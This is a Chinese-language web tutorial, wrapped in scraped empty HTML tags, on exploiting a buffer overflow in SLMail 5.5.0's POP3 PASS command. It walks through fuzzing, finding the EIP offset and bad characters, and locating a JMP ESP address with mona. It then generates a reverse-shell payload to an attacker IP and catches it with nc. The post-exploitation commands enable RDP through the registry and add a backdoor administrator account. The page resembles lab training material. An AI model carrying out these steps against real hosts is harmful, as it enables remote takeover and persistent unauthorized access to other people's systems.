<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ??碼云GVP開源項目 12k star Uniapp+ElementUI 功能強大 支持多語言、二開方便! 廣告
                **Windows緩沖區溢出** ————————— 程序的漏洞從哪里來? 罪惡的根源:變量 數據與代碼界限不清 產生漏洞原理——應用程序對用戶的輸入沒有做嚴格檢查過濾 **緩沖區溢出** ————— 當緩沖區邊界限制不嚴格時,由于變量傳入畸形數據或程序運行錯誤 導致緩沖區被"撐爆",從而覆蓋了相鄰區域的數據。 成功修改內存數據,可造成進程劫持,執行惡意代碼,獲取服務器控制權等。 **如何發現漏洞?** ————————————— 源碼審計 逆向工程 模糊測試 向程序堆棧半隨機的數據,根據內存變化判斷溢出 數據生成器:生成隨機、半隨機數據 測試工具:識別溢出漏洞(動態調試——OD、IDA) **Windows緩沖區溢出——FUZZER** ————————————————————————— 安裝三個軟件 1.SLMail 5.5.0 2.Immunity Debugger 3.mona.py (將mona腳本放到ImmunityDebugger\PyCommands目錄下) 鏈接:https://pan.baidu.com/s/1JoMrW9ZymD3ej1GvIE5geg 密碼:hz53 win7&win8等系統有這些安全機制不能進行緩沖區溢出 DEP:阻止代碼從數據頁被執行 ASLR:隨機內存地址加載執行程序和DLL,每次重啟地址變化 * * * * * POP3 PASS 命令存在緩沖區溢出漏洞 無需身份驗證實現遠程代碼執行 用py寫幾個腳本: 1.py——測試連接mail 2.py——測試向mail發送數據 3.py——發送唯一字符串 4.py——查找精確溢出的4個字節 5.py——找出壞字符 6.py——重發buffer win.py——發shellcode 鏈接: https://pan.baidu.com/s/1IjIqL87u1-xRUcso2KGgqg 密碼: ducr ___________________________ **思路: ——** **一、測試1.py是否可連接mail服務** > 用Immunity Debugger去Attach開啟的SLMail并F9跑起來 > 用2.py測試 PASS 命令接收到大量數據時是否會溢出 EIP 寄存器存放下一條指令的地址 **二、2700個字符實現EIP 寄存器溢出** > 重啟pop3服務(每次服務被打死,都要重啟) > 重新打開imdebug運行smail(別忘記F9讓程序跑起來) 在kali下創建唯一字符串: ~~~ cd /usr/share/metasploit-framework/tools/exploit ./pattern_create.rb -l 2700 ~~~ > 將生成的唯一字符串賦值為3.py的buffer的內容 > 運行3.py,觀察EIP寄存器,數字為39694438(這是16進制的ASCII碼) **三、找到精確溢出的4個字節** 再次打開kali: ~~~ cd /usr/share/metasploit-framework/tools/exploit ./pattern_offset.rb -q 39694438 ~~~ > 結果是2606,即從第2606個開始,就是打入EIP寄存器的字符的位置 > 因此將 EIP 修改為shellcode代碼的內存地址,將Shellcode寫入到該地址空間 > 程序讀取EIP 寄存器數值,將跳轉到 shellcode 代碼段并執行 **四、尋找可存放shellcode的內存空間** > 運行4.py驗證(記得重啟服務),EIP寄存器放入了四個大寫字母B > 再看一下ESP里面的內容,那里放入了我們跟在4個B后面的20個C > 這時只要我們在eip里面放入esp的地址,再在esp內放入我們的shellcode,那么不就可以拿到系統權限了? > 當然,我們得先來判斷esp有多大,夠不夠放下我們的shellcode? > 修改C的數量(3500-2606-4),再次執行4.py > Follow in dump進ESP的地址,用C的最后出現地址減去C最初出現的地址 > 得到10進制結果為416,足夠存下一個最簡單的shellcode(一般需要300字節左右) **五、找出壞字符** > 不同類型的程序、協議、漏洞,會將某些字符認為是壞字符,這些字符有固定用途 > 返回地址、 Shellcode、 buffer中都不能出現壞字符 > null byte (0x00) 空字符,用于終止字符串的拷貝操作 > return (0x0D) 回車操作,表示POP3 PASS 命令輸入完成 > 思路:發送0x00 —— 0xff 256個字符,查找所有壞字符 > 運行5.py找出壞字符,結果:0A、0D、00為壞字符 **六、重定向數據流** > 用 ESP 的地址替換 EIP 的值 > 但是 ESP 地址變化,硬編碼不可行 > SLMail 線程應用程序,操作系統為每個線程分配一段地址范圍,每個線程地址范圍不確定 **變通思路** ? 在內存中尋找地址固定的系統模塊 ? 在模塊中尋找 JMP ESP 指令的地址跳轉,再由該指令間接跳轉到 ESP,從而執行shellcode ? mona.py 腳本識別內存模塊,搜索“return address”是JMP ESP指令的模塊 ? 尋找無DEP、 ALSR保護的內存地址 ? 內存地址不包含壞字符 ? EIP——>系統模塊——>ESP(思路流程) **具體步驟:** > 1、!mona modules //用mona.py查看模塊運行情況 > 2、rebase(操作系統重啟以后是否發生變化,如變化,則為true,否則為false)這里尋找false的 > 3、safeseh aslr nxcompat 是操作系統的安全機制,都選false > 4、OS dll表示每個操作系統都有的這里都選為TRUE > 5、!mona find -s "jmp esp" -m 模塊_name.dll (這一步先不能執行) //尋找有esp跳轉的模塊 > 6、用kali上的工具將輸入的匯編語言轉換成機器指令 > cd /usr/share/metasploit-framework/tools/exploit > ./nasm_shell.rb > nasm > jmp esp > 得到結果為FFE4 > 7、!mona find -s "\xff\xe4" -m slmfc.dll > 8、找到后雙擊進入,切換一下顯示視圖,在FFE4處下斷點 > 9、用我們的6.py重發buffer (地址反轉,高字節存低地址,低字節存高地址) > 10、EIP被指定為我們寫的地址,可以F7單步跟一下 > 可以發現下一步要執行的地址就是我們ESP寄存器的地址 > 證明通過系統模塊跳轉到esp寄存器的想法實現了 **七、寫shellcode** 還是用kali幫忙,需要去掉壞字符 ~~~ cd /usr/share/framework2/ ./msfpayload win32_reverse LHOST=攻擊者IP LPORT=443 R | ./msfencode -b "\x00\x0a\x0d" ~~~ 然后將shellcode寫入我們的win.py buffer里面增加了\x90,是為了防止esp執行的時候把shellcode的前面幾個字符忽略掉 用nc偵聽我們的443端口 `nc -vlp 443` 成功獲取shell **八、還可以開3389遠程桌面** 修改注冊表: ~~~ echo Windows Registry Editor Version 5.00>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg echo "fDenyTSConnections"=dword:00000000>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg echo "PortNumber"=dword:00000d3d>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg echo "PortNumber"=dword:00000d3d>>3389.reg regedit /s 3389.reg ~~~ 新增用戶 `net user wintry wintry.123 /expires:never /active:yes /add` 添加到管理組 `net localgroup Administrators wintry /add` 遠程連接 `rdesktop 192.168.1.112`
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看